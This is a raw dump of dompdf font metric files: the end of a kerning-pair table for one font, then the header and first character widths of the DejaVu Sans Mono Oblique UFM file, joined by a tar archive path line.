KPX Rcaron Y -18
KPX Rcaron Yacute -18
KPX Rcaron Ydieresis -18
KPX Rcommaaccent O -40
KPX Rcommaaccent Oacute -40
KPX Rcommaaccent Ocircumflex -40
KPX Rcommaaccent Odieresis -40
KPX Rcommaaccent Ograve -40
KPX Rcommaaccent Ohungarumlaut -40
KPX Rcommaaccent Omacron -40
KPX Rcommaaccent Oslash -40
KPX Rcommaaccent Otilde -40
KPX Rcommaaccent T -30
KPX Rcommaaccent Tcaron -30
KPX Rcommaaccent Tcommaaccent -30
KPX Rcommaaccent U -40
KPX Rcommaaccent Uacute -40
KPX Rcommaaccent Ucircumflex -40
KPX Rcommaaccent Udieresis -40
KPX Rcommaaccent Ugrave -40
KPX Rcommaaccent Uhungarumlaut -40
KPX Rcommaaccent Umacron -40
KPX Rcommaaccent Uogonek -40
KPX Rcommaaccent Uring -40
KPX Rcommaaccent V -18
KPX Rcommaaccent W -18
KPX Rcommaaccent Y -18
KPX Rcommaaccent Yacute -18
KPX Rcommaaccent Ydieresis -18
KPX T A -55
KPX T Aacute -55
KPX T Abreve -55
KPX T Acircumflex -55
KPX T Adieresis -55
KPX T Agrave -55
KPX T Amacron -55
KPX T Aogonek -55
KPX T Aring -55
KPX T Atilde -55
KPX T O -18
KPX T Oacute -18
KPX T Ocircumflex -18
KPX T Odieresis -18
KPX T Ograve -18
KPX T Ohungarumlaut -18
KPX T Omacron -18
KPX T Oslash -18
KPX T Otilde -18
KPX T a -92
KPX T aacute -92
KPX T abreve -92
KPX T acircumflex -92
KPX T adieresis -92
KPX T agrave -92
KPX T amacron -92
KPX T aogonek -92
KPX T aring -92
KPX T atilde -92
KPX T colon -74
KPX T comma -92
KPX T e -92
KPX T eacute -92
KPX T ecaron -92
KPX T ecircumflex -92
KPX T edieresis -52
KPX T edotaccent -92
KPX T egrave -52
KPX T emacron -52
KPX T eogonek -92
KPX T hyphen -92
KPX T i -37
KPX T iacute -37
KPX T iogonek -37
KPX T o -95
KPX T oacute -95
KPX T ocircumflex -95
KPX T odieresis -95
KPX T ograve -95
KPX T ohungarumlaut -95
KPX T omacron -95
KPX T oslash -95
KPX T otilde -95
KPX T period -92
KPX T r -37
KPX T racute -37
KPX T rcaron -37
KPX T rcommaaccent -37
KPX T semicolon -74
KPX T u -37
KPX T uacute -37
KPX T ucircumflex -37
KPX T udieresis -37
KPX T ugrave -37
KPX T uhungarumlaut -37
KPX T umacron -37
KPX T uogonek -37
KPX T uring -37
KPX T w -37
KPX T y -37
KPX T yacute -37
KPX T ydieresis -37
KPX Tcaron A -55
KPX Tcaron Aacute -55
KPX Tcaron Abreve -55
KPX Tcaron Acircumflex -55
KPX Tcaron Adieresis -55
KPX Tcaron Agrave -55
KPX Tcaron Amacron -55
KPX Tcaron Aogonek -55
KPX Tcaron Aring -55
KPX Tcaron Atilde -55
KPX Tcaron O -18
KPX Tcaron Oacute -18
KPX Tcaron Ocircumflex -18
KPX Tcaron Odieresis -18
KPX Tcaron Ograve -18
KPX Tcaron Ohungarumlaut -18
KPX Tcaron Omacron -18
KPX Tcaron Oslash -18
KPX Tcaron Otilde -18
KPX Tcaron a -92
KPX Tcaron aacute -92
KPX Tcaron abreve -92
KPX Tcaron acircumflex -92
KPX Tcaron adieresis -92
KPX Tcaron agrave -92
KPX Tcaron amacron -92
KPX Tcaron aogonek -92
KPX Tcaron aring -92
KPX Tcaron atilde -92
KPX Tcaron colon -74
KPX Tcaron comma -92
KPX Tcaron e -92
KPX Tcaron eacute -92
KPX Tcaron ecaron -92
KPX Tcaron ecircumflex -92
KPX Tcaron edieresis -52
KPX Tcaron edotaccent -92
KPX Tcaron egrave -52
KPX Tcaron emacron -52
KPX Tcaron eogonek -92
KPX Tcaron hyphen -92
KPX Tcaron i -37
KPX Tcaron iacute -37
KPX Tcaron iogonek -37
KPX Tcaron o -95
KPX Tcaron oacute -95
KPX Tcaron ocircumflex -95
KPX Tcaron odieresis -95
KPX Tcaron ograve -95
KPX Tcaron ohungarumlaut -95
KPX Tcaron omacron -95
KPX Tcaron oslash -95
KPX Tcaron otilde -95
KPX Tcaron period -92
KPX Tcaron r -37
KPX Tcaron racute -37
KPX Tcaron rcaron -37
KPX Tcaron rcommaaccent -37
KPX Tcaron semicolon -74
KPX Tcaron u -37
KPX Tcaron uacute -37
KPX Tcaron ucircumflex -37
KPX Tcaron udieresis -37
KPX Tcaron ugrave -37
KPX Tcaron uhungarumlaut -37
KPX Tcaron umacron -37
KPX Tcaron uogonek -37
KPX Tcaron uring -37
KPX Tcaron w -37
KPX Tcaron y -37
KPX Tcaron yacute -37
KPX Tcaron ydieresis -37
KPX Tcommaaccent A -55
KPX Tcommaaccent Aacute -55
KPX Tcommaaccent Abreve -55
KPX Tcommaaccent Acircumflex -55
KPX Tcommaaccent Adieresis -55
KPX Tcommaaccent Agrave -55
KPX Tcommaaccent Amacron -55
KPX Tcommaaccent Aogonek -55
KPX Tcommaaccent Aring -55
KPX Tcommaaccent Atilde -55
KPX Tcommaaccent O -18
KPX Tcommaaccent Oacute -18
KPX Tcommaaccent Ocircumflex -18
KPX Tcommaaccent Odieresis -18
KPX Tcommaaccent Ograve -18
KPX Tcommaaccent Ohungarumlaut -18
KPX Tcommaaccent Omacron -18
KPX Tcommaaccent Oslash -18
KPX Tcommaaccent Otilde -18
KPX Tcommaaccent a -92
KPX Tcommaaccent aacute -92
KPX Tcommaaccent abreve -92
KPX Tcommaaccent acircumflex -92
KPX Tcommaaccent adieresis -92
KPX Tcommaaccent agrave -92
KPX Tcommaaccent amacron -92
KPX Tcommaaccent aogonek -92
KPX Tcommaaccent aring -92
KPX Tcommaaccent atilde -92
KPX Tcommaaccent colon -74
KPX Tcommaaccent comma -92
KPX Tcommaaccent e -92
KPX Tcommaaccent eacute -92
KPX Tcommaaccent ecaron -92
KPX Tcommaaccent ecircumflex -92
KPX Tcommaaccent edieresis -52
KPX Tcommaaccent edotaccent -92
KPX Tcommaaccent egrave -52
KPX Tcommaaccent emacron -52
KPX Tcommaaccent eogonek -92
KPX Tcommaaccent hyphen -92
KPX Tcommaaccent i -37
KPX Tcommaaccent iacute -37
KPX Tcommaaccent iogonek -37
KPX Tcommaaccent o -95
KPX Tcommaaccent oacute -95
KPX Tcommaaccent ocircumflex -95
KPX Tcommaaccent odieresis -95
KPX Tcommaaccent ograve -95
KPX Tcommaaccent ohungarumlaut -95
KPX Tcommaaccent omacron -95
KPX Tcommaaccent oslash -95
KPX Tcommaaccent otilde -95
KPX Tcommaaccent period -92
KPX Tcommaaccent r -37
KPX Tcommaaccent racute -37
KPX Tcommaaccent rcaron -37
KPX Tcommaaccent rcommaaccent -37
KPX Tcommaaccent semicolon -74
KPX Tcommaaccent u -37
KPX Tcommaaccent uacute -37
KPX Tcommaaccent ucircumflex -37
KPX Tcommaaccent udieresis -37
KPX Tcommaaccent ugrave -37
KPX Tcommaaccent uhungarumlaut -37
KPX Tcommaaccent umacron -37
KPX Tcommaaccent uogonek -37
KPX Tcommaaccent uring -37
KPX Tcommaaccent w -37
KPX Tcommaaccent y -37
KPX Tcommaaccent yacute -37
KPX Tcommaaccent ydieresis -37
KPX U A -45
KPX U Aacute -45
KPX U Abreve -45
KPX U Acircumflex -45
KPX U Adieresis -45
KPX U Agrave -45
KPX U Amacron -45
KPX U Aogonek -45
KPX U Aring -45
KPX U Atilde -45
KPX Uacute A -45
KPX Uacute Aacute -45
KPX Uacute Abreve -45
KPX Uacute Acircumflex -45
KPX Uacute Adieresis -45
KPX Uacute Agrave -45
KPX Uacute Amacron -45
KPX Uacute Aogonek -45
KPX Uacute Aring -45
KPX Uacute Atilde -45
KPX Ucircumflex A -45
KPX Ucircumflex Aacute -45
KPX Ucircumflex Abreve -45
KPX Ucircumflex Acircumflex -45
KPX Ucircumflex Adieresis -45
KPX Ucircumflex Agrave -45
KPX Ucircumflex Amacron -45
KPX Ucircumflex Aogonek -45
KPX Ucircumflex Aring -45
KPX Ucircumflex Atilde -45
KPX Udieresis A -45
KPX Udieresis Aacute -45
KPX Udieresis Abreve -45
KPX Udieresis Acircumflex -45
KPX Udieresis Adieresis -45
KPX Udieresis Agrave -45
KPX Udieresis Amacron -45
KPX Udieresis Aogonek -45
KPX Udieresis Aring -45
KPX Udieresis Atilde -45
KPX Ugrave A -45
KPX Ugrave Aacute -45
KPX Ugrave Abreve -45
KPX Ugrave Acircumflex -45
KPX Ugrave Adieresis -45
KPX Ugrave Agrave -45
KPX Ugrave Amacron -45
KPX Ugrave Aogonek -45
KPX Ugrave Aring -45
KPX Ugrave Atilde -45
KPX Uhungarumlaut A -45
KPX Uhungarumlaut Aacute -45
KPX Uhungarumlaut Abreve -45
KPX Uhungarumlaut Acircumflex -45
KPX Uhungarumlaut Adieresis -45
KPX Uhungarumlaut Agrave -45
KPX Uhungarumlaut Amacron -45
KPX Uhungarumlaut Aogonek -45
KPX Uhungarumlaut Aring -45
KPX Uhungarumlaut Atilde -45
KPX Umacron A -45
KPX Umacron Aacute -45
KPX Umacron Abreve -45
KPX Umacron Acircumflex -45
KPX Umacron Adieresis -45
KPX Umacron Agrave -45
KPX Umacron Amacron -45
KPX Umacron Aogonek -45
KPX Umacron Aring -45
KPX Umacron Atilde -45
KPX Uogonek A -45
KPX Uogonek Aacute -45
KPX Uogonek Abreve -45
KPX Uogonek Acircumflex -45
KPX Uogonek Adieresis -45
KPX Uogonek Agrave -45
KPX Uogonek Amacron -45
KPX Uogonek Aogonek -45
KPX Uogonek Aring -45
KPX Uogonek Atilde -45
KPX Uring A -45
KPX Uring Aacute -45
KPX Uring Abreve -45
KPX Uring Acircumflex -45
KPX Uring Adieresis -45
KPX Uring Agrave -45
KPX Uring Amacron -45
KPX Uring Aogonek -45
KPX Uring Aring -45
KPX Uring Atilde -45
KPX V A -85
KPX V Aacute -85
KPX V Abreve -85
KPX V Acircumflex -85
KPX V Adieresis -85
KPX V Agrave -85
KPX V Amacron -85
KPX V Aogonek -85
KPX V Aring -85
KPX V Atilde -85
KPX V G -10
KPX V Gbreve -10
KPX V Gcommaaccent -10
KPX V O -30
KPX V Oacute -30
KPX V Ocircumflex -30
KPX V Odieresis -30
KPX V Ograve -30
KPX V Ohungarumlaut -30
KPX V Omacron -30
KPX V Oslash -30
KPX V Otilde -30
KPX V a -111
KPX V aacute -111
KPX V abreve -111
KPX V acircumflex -111
KPX V adieresis -111
KPX V agrave -111
KPX V amacron -111
KPX V aogonek -111
KPX V aring -111
KPX V atilde -111
KPX V colon -74
KPX V comma -129
KPX V e -111
KPX V eacute -111
KPX V ecaron -111
KPX V ecircumflex -111
KPX V edieresis -71
KPX V edotaccent -111
KPX V egrave -71
KPX V emacron -71
KPX V eogonek -111
KPX V hyphen -70
KPX V i -55
KPX V iacute -55
KPX V iogonek -55
KPX V o -111
KPX V oacute -111
KPX V ocircumflex -111
KPX V odieresis -111
KPX V ograve -111
KPX V ohungarumlaut -111
KPX V omacron -111
KPX V oslash -111
KPX V otilde -111
KPX V period -129
KPX V semicolon -74
KPX V u -55
KPX V uacute -55
KPX V ucircumflex -55
KPX V udieresis -55
KPX V ugrave -55
KPX V uhungarumlaut -55
KPX V umacron -55
KPX V uogonek -55
KPX V uring -55
KPX W A -74
KPX W Aacute -74
KPX W Abreve -74
KPX W Acircumflex -74
KPX W Adieresis -74
KPX W Agrave -74
KPX W Amacron -74
KPX W Aogonek -74
KPX W Aring -74
KPX W Atilde -74
KPX W O -15
KPX W Oacute -15
KPX W Ocircumflex -15
KPX W Odieresis -15
KPX W Ograve -15
KPX W Ohungarumlaut -15
KPX W Omacron -15
KPX W Oslash -15
KPX W Otilde -15
KPX W a -85
KPX W aacute -85
KPX W abreve -85
KPX W acircumflex -85
KPX W adieresis -85
KPX W agrave -85
KPX W amacron -85
KPX W aogonek -85
KPX W aring -85
KPX W atilde -85
KPX W colon -55
KPX W comma -74
KPX W e -90
KPX W eacute -90
KPX W ecaron -90
KPX W ecircumflex -90
KPX W edieresis -50
KPX W edotaccent -90
KPX W egrave -50
KPX W emacron -50
KPX W eogonek -90
KPX W hyphen -50
KPX W i -37
KPX W iacute -37
KPX W iogonek -37
KPX W o -80
KPX W oacute -80
KPX W ocircumflex -80
KPX W odieresis -80
KPX W ograve -80
KPX W ohungarumlaut -80
KPX W omacron -80
KPX W oslash -80
KPX W otilde -80
KPX W period -74
KPX W semicolon -55
KPX W u -55
KPX W uacute -55
KPX W ucircumflex -55
KPX W udieresis -55
KPX W ugrave -55
KPX W uhungarumlaut -55
KPX W umacron -55
KPX W uogonek -55
KPX W uring -55
KPX W y -55
KPX W yacute -55
KPX W ydieresis -55
KPX Y A -74
KPX Y Aacute -74
KPX Y Abreve -74
KPX Y Acircumflex -74
KPX Y Adieresis -74
KPX Y Agrave -74
KPX Y Amacron -74
KPX Y Aogonek -74
KPX Y Aring -74
KPX Y Atilde -74
KPX Y O -25
KPX Y Oacute -25
KPX Y Ocircumflex -25
KPX Y Odieresis -25
KPX Y Ograve -25
KPX Y Ohungarumlaut -25
KPX Y Omacron -25
KPX Y Oslash -25
KPX Y Otilde -25
KPX Y a -92
KPX Y aacute -92
KPX Y abreve -92
KPX Y acircumflex -92
KPX Y adieresis -92
KPX Y agrave -92
KPX Y amacron -92
KPX Y aogonek -92
KPX Y aring -92
KPX Y atilde -92
KPX Y colon -92
KPX Y comma -92
KPX Y e -111
KPX Y eacute -111
KPX Y ecaron -111
KPX Y ecircumflex -71
KPX Y edieresis -71
KPX Y edotaccent -111
KPX Y egrave -71
KPX Y emacron -71
KPX Y eogonek -111
KPX Y hyphen -92
KPX Y i -55
KPX Y iacute -55
KPX Y iogonek -55
KPX Y o -111
KPX Y oacute -111
KPX Y ocircumflex -111
KPX Y odieresis -111
KPX Y ograve -111
KPX Y ohungarumlaut -111
KPX Y omacron -111
KPX Y oslash -111
KPX Y otilde -111
KPX Y period -74
KPX Y semicolon -92
KPX Y u -92
KPX Y uacute -92
KPX Y ucircumflex -92
KPX Y udieresis -92
KPX Y ugrave -92
KPX Y uhungarumlaut -92
KPX Y umacron -92
KPX Y uogonek -92
KPX Y uring -92
KPX Yacute A -74
KPX Yacute Aacute -74
KPX Yacute Abreve -74
KPX Yacute Acircumflex -74
KPX Yacute Adieresis -74
KPX Yacute Agrave -74
KPX Yacute Amacron -74
KPX Yacute Aogonek -74
KPX Yacute Aring -74
KPX Yacute Atilde -74
KPX Yacute O -25
KPX Yacute Oacute -25
KPX Yacute Ocircumflex -25
KPX Yacute Odieresis -25
KPX Yacute Ograve -25
KPX Yacute Ohungarumlaut -25
KPX Yacute Omacron -25
KPX Yacute Oslash -25
KPX Yacute Otilde -25
KPX Yacute a -92
KPX Yacute aacute -92
KPX Yacute abreve -92
KPX Yacute acircumflex -92
KPX Yacute adieresis -92
KPX Yacute agrave -92
KPX Yacute amacron -92
KPX Yacute aogonek -92
KPX Yacute aring -92
KPX Yacute atilde -92
KPX Yacute colon -92
KPX Yacute comma -92
KPX Yacute e -111
KPX Yacute eacute -111
KPX Yacute ecaron -111
KPX Yacute ecircumflex -71
KPX Yacute edieresis -71
KPX Yacute edotaccent -111
KPX Yacute egrave -71
KPX Yacute emacron -71
KPX Yacute eogonek -111
KPX Yacute hyphen -92
KPX Yacute i -55
KPX Yacute iacute -55
KPX Yacute iogonek -55
KPX Yacute o -111
KPX Yacute oacute -111
KPX Yacute ocircumflex -111
KPX Yacute odieresis -111
KPX Yacute ograve -111
KPX Yacute ohungarumlaut -111
KPX Yacute omacron -111
KPX Yacute oslash -111
KPX Yacute otilde -111
KPX Yacute period -74
KPX Yacute semicolon -92
KPX Yacute u -92
KPX Yacute uacute -92
KPX Yacute ucircumflex -92
KPX Yacute udieresis -92
KPX Yacute ugrave -92
KPX Yacute uhungarumlaut -92
KPX Yacute umacron -92
KPX Yacute uogonek -92
KPX Yacute uring -92
KPX Ydieresis A -74
KPX Ydieresis Aacute -74
KPX Ydieresis Abreve -74
KPX Ydieresis Acircumflex -74
KPX Ydieresis Adieresis -74
KPX Ydieresis Agrave -74
KPX Ydieresis Amacron -74
KPX Ydieresis Aogonek -74
KPX Ydieresis Aring -74
KPX Ydieresis Atilde -74
KPX Ydieresis O -25
KPX Ydieresis Oacute -25
KPX Ydieresis Ocircumflex -25
KPX Ydieresis Odieresis -25
KPX Ydieresis Ograve -25
KPX Ydieresis Ohungarumlaut -25
KPX Ydieresis Omacron -25
KPX Ydieresis Oslash -25
KPX Ydieresis Otilde -25
KPX Ydieresis a -92
KPX Ydieresis aacute -92
KPX Ydieresis abreve -92
KPX Ydieresis acircumflex -92
KPX Ydieresis adieresis -92
KPX Ydieresis agrave -92
KPX Ydieresis amacron -92
KPX Ydieresis aogonek -92
KPX Ydieresis aring -92
KPX Ydieresis atilde -92
KPX Ydieresis colon -92
KPX Ydieresis comma -92
KPX Ydieresis e -111
KPX Ydieresis eacute -111
KPX Ydieresis ecaron -111
KPX Ydieresis ecircumflex -71
KPX Ydieresis edieresis -71
KPX Ydieresis edotaccent -111
KPX Ydieresis egrave -71
KPX Ydieresis emacron -71
KPX Ydieresis eogonek -111
KPX Ydieresis hyphen -92
KPX Ydieresis i -55
KPX Ydieresis iacute -55
KPX Ydieresis iogonek -55
KPX Ydieresis o -111
KPX Ydieresis oacute -111
KPX Ydieresis ocircumflex -111
KPX Ydieresis odieresis -111
KPX Ydieresis ograve -111
KPX Ydieresis ohungarumlaut -111
KPX Ydieresis omacron -111
KPX Ydieresis oslash -111
KPX Ydieresis otilde -111
KPX Ydieresis period -74
KPX Ydieresis semicolon -92
KPX Ydieresis u -92
KPX Ydieresis uacute -92
KPX Ydieresis ucircumflex -92
KPX Ydieresis udieresis -92
KPX Ydieresis ugrave -92
KPX Ydieresis uhungarumlaut -92
KPX Ydieresis umacron -92
KPX Ydieresis uogonek -92
KPX Ydieresis uring -92
KPX b b -10
KPX b period -40
KPX b u -20
KPX b uacute -20
KPX b ucircumflex -20
KPX b udieresis -20
KPX b ugrave -20
KPX b uhungarumlaut -20
KPX b umacron -20
KPX b uogonek -20
KPX b uring -20
KPX c h -10
KPX c k -10
KPX c kcommaaccent -10
KPX cacute h -10
KPX cacute k -10
KPX cacute kcommaaccent -10
KPX ccaron h -10
KPX ccaron k -10
KPX ccaron kcommaaccent -10
KPX ccedilla h -10
KPX ccedilla k -10
KPX ccedilla kcommaaccent -10
KPX comma quotedblright -95
KPX comma quoteright -95
KPX e b -10
KPX eacute b -10
KPX ecaron b -10
KPX ecircumflex b -10
KPX edieresis b -10
KPX edotaccent b -10
KPX egrave b -10
KPX emacron b -10
KPX eogonek b -10
KPX f comma -10
KPX f dotlessi -30
KPX f e -10
KPX f eacute -10
KPX f edotaccent -10
KPX f eogonek -10
KPX f f -18
KPX f o -10
KPX f oacute -10
KPX f ocircumflex -10
KPX f ograve -10
KPX f ohungarumlaut -10
KPX f oslash -10
KPX f otilde -10
KPX f period -10
KPX f quoteright 55
KPX k e -30
KPX k eacute -30
KPX k ecaron -30
KPX k ecircumflex -30
KPX k edieresis -30
KPX k edotaccent -30
KPX k egrave -30
KPX k emacron -30
KPX k eogonek -30
KPX k o -10
KPX k oacute -10
KPX k ocircumflex -10
KPX k odieresis -10
KPX k ograve -10
KPX k ohungarumlaut -10
KPX k omacron -10
KPX k oslash -10
KPX k otilde -10
KPX kcommaaccent e -30
KPX kcommaaccent eacute -30
KPX kcommaaccent ecaron -30
KPX kcommaaccent ecircumflex -30
KPX kcommaaccent edieresis -30
KPX kcommaaccent edotaccent -30
KPX kcommaaccent egrave -30
KPX kcommaaccent emacron -30
KPX kcommaaccent eogonek -30
KPX kcommaaccent o -10
KPX kcommaaccent oacute -10
KPX kcommaaccent ocircumflex -10
KPX kcommaaccent odieresis -10
KPX kcommaaccent ograve -10
KPX kcommaaccent ohungarumlaut -10
KPX kcommaaccent omacron -10
KPX kcommaaccent oslash -10
KPX kcommaaccent otilde -10
KPX n v -40
KPX nacute v -40
KPX ncaron v -40
KPX ncommaaccent v -40
KPX ntilde v -40
KPX o v -15
KPX o w -25
KPX o x -10
KPX o y -10
KPX o yacute -10
KPX o ydieresis -10
KPX oacute v -15
KPX oacute w -25
KPX oacute x -10
KPX oacute y -10
KPX oacute yacute -10
KPX oacute ydieresis -10
KPX ocircumflex v -15
KPX ocircumflex w -25
KPX ocircumflex x -10
KPX ocircumflex y -10
KPX ocircumflex yacute -10
KPX ocircumflex ydieresis -10
KPX odieresis v -15
KPX odieresis w -25
KPX odieresis x -10
KPX odieresis y -10
KPX odieresis yacute -10
KPX odieresis ydieresis -10
KPX ograve v -15
KPX ograve w -25
KPX ograve x -10
KPX ograve y -10
KPX ograve yacute -10
KPX ograve ydieresis -10
KPX ohungarumlaut v -15
KPX ohungarumlaut w -25
KPX ohungarumlaut x -10
KPX ohungarumlaut y -10
KPX ohungarumlaut yacute -10
KPX ohungarumlaut ydieresis -10
KPX omacron v -15
KPX omacron w -25
KPX omacron x -10
KPX omacron y -10
KPX omacron yacute -10
KPX omacron ydieresis -10
KPX oslash v -15
KPX oslash w -25
KPX oslash x -10
KPX oslash y -10
KPX oslash yacute -10
KPX oslash ydieresis -10
KPX otilde v -15
KPX otilde w -25
KPX otilde x -10
KPX otilde y -10
KPX otilde yacute -10
KPX otilde ydieresis -10
KPX period quotedblright -95
KPX period quoteright -95
KPX quoteleft quoteleft -74
KPX quoteright d -15
KPX quoteright dcroat -15
KPX quoteright quoteright -74
KPX quoteright r -15
KPX quoteright racute -15
KPX quoteright rcaron -15
KPX quoteright rcommaaccent -15
KPX quoteright s -74
KPX quoteright sacute -74
KPX quoteright scaron -74
KPX quoteright scedilla -74
KPX quoteright scommaaccent -74
KPX quoteright space -74
KPX quoteright t -37
KPX quoteright tcommaaccent -37
KPX quoteright v -15
KPX r comma -65
KPX r period -65
KPX racute comma -65
KPX racute period -65
KPX rcaron comma -65
KPX rcaron period -65
KPX rcommaaccent comma -65
KPX rcommaaccent period -65
KPX space A -37
KPX space Aacute -37
KPX space Abreve -37
KPX space Acircumflex -37
KPX space Adieresis -37
KPX space Agrave -37
KPX space Amacron -37
KPX space Aogonek -37
KPX space Aring -37
KPX space Atilde -37
KPX space V -70
KPX space W -70
KPX space Y -70
KPX space Yacute -70
KPX space Ydieresis -70
KPX v comma -37
KPX v e -15
KPX v eacute -15
KPX v ecaron -15
KPX v ecircumflex -15
KPX v edieresis -15
KPX v edotaccent -15
KPX v egrave -15
KPX v emacron -15
KPX v eogonek -15
KPX v o -15
KPX v oacute -15
KPX v ocircumflex -15
KPX v odieresis -15
KPX v ograve -15
KPX v ohungarumlaut -15
KPX v omacron -15
KPX v oslash -15
KPX v otilde -15
KPX v period -37
KPX w a -10
KPX w aacute -10
KPX w abreve -10
KPX w acircumflex -10
KPX w adieresis -10
KPX w agrave -10
KPX w amacron -10
KPX w aogonek -10
KPX w aring -10
KPX w atilde -10
KPX w comma -37
KPX w e -10
KPX w eacute -10
KPX w ecaron -10
KPX w ecircumflex -10
KPX w edieresis -10
KPX w edotaccent -10
KPX w egrave -10
KPX w emacron -10
KPX w eogonek -10
KPX w o -15
KPX w oacute -15
KPX w ocircumflex -15
KPX w odieresis -15
KPX w ograve -15
KPX w ohungarumlaut -15
KPX w omacron -15
KPX w oslash -15
KPX w otilde -15
KPX w period -37
KPX x e -10
KPX x eacute -10
KPX x ecaron -10
KPX x ecircumflex -10
KPX x edieresis -10
KPX x edotaccent -10
KPX x egrave -10
KPX x emacron -10
KPX x eogonek -10
KPX y comma -37
KPX y period -37
KPX yacute comma -37
KPX yacute period -37
KPX ydieresis comma -37
KPX ydieresis period -37
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSansMono-Oblique.ufm000066600000277473151150442760017462 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Sans Mono
FontSubfamily Oblique
UniqueID DejaVu Sans Mono Oblique
FullName DejaVu Sans Mono Oblique
Version Version 2.37
PostScriptName DejaVuSansMono-Oblique
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
Weight Medium
ItalicAngle -11
IsFixedPitch true
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 928
Descender -236
FontBBox -403 -375 746 998
StartCharMetrics 2710
U 32 ; WX 602 ; N space ; G 3
U 33 ; WX 602 ; N exclam ; G 4
U 34 ; WX 602 ; N quotedbl ; G 5
U 35 ; WX 602 ; N numbersign ; G 6
U 36 ; WX 602 ; N dollar ; G 7
U 37 ; WX 602 ; N percent ; G 8
U 38 ; WX 602 ; N ampersand ; G 9
U 39 ; WX 602 ; N quotesingle ; G 10
U 40 ; WX 602 ; N parenleft ; G 11
U 41 ; WX 602 ; N parenright ; G 12
U 42 ; WX 602 ; N asterisk ; G 13
U 43 ; WX 602 ; N plus ; G 14
U 44 ; WX 602 ; N comma ; G 15
U 45 ; WX 602 ; N hyphen ; G 16
U 46 ; WX 602 ; N period ; G 17
U 47 ; WX 602 ; N slash ; G 18
U 48 ; WX 602 ; N zero ; G 19
U 49 ; WX 602 ; N one ; G 20
U 50 ; WX 602 ; N two ; G 21
U 51 ; WX 602 ; N three ; G 22
U 52 ; WX 602 ; N four ; G 23
U 53 ; WX 602 ; N five ; G 24
U 54 ; WX 602 ; N six ; G 25
U 55 ; WX 602 ; N seven ; G 26
U 56 ; WX 602 ; N eight ; G 27
U 57 ; WX 602 ; N nine ; G 28
U 58 ; WX 602 ; N colon ; G 29
U 59 ; WX 602 ; N semicolon ; G 30
U 60 ; WX 602 ; N less ; G 31
U 61 ; WX 602 ; N equal ; G 32
U 62 ; WX 602 ; N greater ; G 33
U 63 ; WX 602 ; N question ; G 34
U 64 ; WX 602 ; N at ; G 35
U 65 ; WX 602 ; N A ; G 36
U 66 ; WX 602 ; N B ; G 37
U 67 ; WX 602 ; N C ; G 38
U 68 ; WX 602 ; N D ; G 39
U 69 ; WX 602 ; N E ; G 40
U 70 ; WX 602 ; N F ; G 41
U 71 ; WX 602 ; N G ; G 42
U 72 ; WX 602 ; N H ; G 43
U 73 ; WX 602 ; N I ; G 44
U 74 ; WX 602 ; N J ; G 45
U 75 ; WX 602 ; N K ; G 46
U 76 ; WX 602 ; N L ; G 47
U 77 ; WX 602 ; N M ; G 48
U 78 ; WX 602 ; N N ; G 49
U 79 ; WX 602 ; N O ; G 50
U 80 ; WX 602 ; N P ; G 51
U 81 ; WX 602 ; N Q ; G 52
U 82 ; WX 602 ; N R ; G 53
U 83 ; WX 602 ; N S ; G 54
U 84 ; WX 602 ; N T ; G 55
U 85 ; WX 602 ; N U ; G 56
U 86 ; WX 602 ; N V ; G 57
U 87 ; WX 602 ; N W ; G 58
U 88 ; WX 602 ; N X ; G 59
U 89 ; WX 602 ; N Y ; G 60
U 90 ; WX 602 ; N Z ; G 61
U 91 ; WX 602 ; N bracketleft ; G 62
U 92 ; WX 602 ; N backslash ; G 63
U 93 ; WX 602 ; N bracketright ; G 64
U 94 ; WX 602 ; N asciicircum ; G 65
U 95 ; WX 602 ; N underscore ; G 66
U 96 ; WX 602 ; N grave ; G 67
U 97 ; WX 602 ; N a ; G 68
U 98 ; WX 602 ; N b ; G 69
U 99 ; WX 602 ; N c ; G 70
U 100 ; WX 602 ; N d ; G 71
U 101 ; WX 602 ; N e ; G 72
U 102 ; WX 602 ; N f ; G 73
U 103 ; WX 602 ; N g ; G 74
U 104 ; WX 602 ; N h ; G 75
U 105 ; WX 602 ; N i ; G 76
U 106 ; WX 602 ; N j ; G 77
U 107 ; WX 602 ; N k ; G 78
U 108 ; WX 602 ; N l ; G 79
U 109 ; WX 602 ; N m ; G 80
U 110 ; WX 602 ; N n ; G 81
U 111 ; WX 602 ; N o ; G 82
U 112 ; WX 602 ; N p ; G 83
U 113 ; WX 602 ; N q ; G 84
U 114 ; WX 602 ; N r ; G 85
U 115 ; WX 602 ; N s ; G 86
U 116 ; WX 602 ; N t ; G 87
U 117 ; WX 602 ; N u ; G 88
U 118 ; WX 602 ; N v ; G 89
U 119 ; WX 602 ; N w ; G 90
U 120 ; WX 602 ; N x ; G 91
U 121 ; WX 602 ; N y ; G 92
U 122 ; WX 602 ; N z ; G 93
U 123 ; WX 602 ; N braceleft ; G 94
U 124 ; WX 602 ; N bar ; G 95
U 125 ; WX 602 ; N braceright ; G 96
U 126 ; WX 602 ; N asciitilde ; G 97
U 160 ; WX 602 ; N nbspace ; G 98
U 161 ; WX 602 ; N exclamdown ; G 99
U 162 ; WX 602 ; N cent ; G 100
U 163 ; WX 602 ; N sterling ; G 101
U 164 ; WX 602 ; N currency ; G 102
U 165 ; WX 602 ; N yen ; G 103
U 166 ; WX 602 ; N brokenbar ; G 104
U 167 ; WX 602 ; N section ; G 105
U 168 ; WX 602 ; N dieresis ; G 106
U 169 ; WX 602 ; N copyright ; G 107
U 170 ; WX 602 ; N ordfeminine ; G 108
U 171 ; WX 602 ; N guillemotleft ; G 109
U 172 ; WX 602 ; N logicalnot ; G 110
U 173 ; WX 602 ; N sfthyphen ; G 111
U 174 ; WX 602 ; N registered ; G 112
U 175 ; WX 602 ; N macron ; G 113
U 176 ; WX 602 ; N degree ; G 114
U 177 ; WX 602 ; N plusminus ; G 115
U 178 ; WX 602 ; N twosuperior ; G 116
U 179 ; WX 602 ; N threesuperior ; G 117
U 180 ; WX 602 ; N acute ; G 118
U 181 ; WX 602 ; N mu ; G 119
U 182 ; WX 602 ; N paragraph ; G 120
U 183 ; WX 602 ; N periodcentered ; G 121
U 184 ; WX 602 ; N cedilla ; G 122
U 185 ; WX 602 ; N onesuperior ; G 123
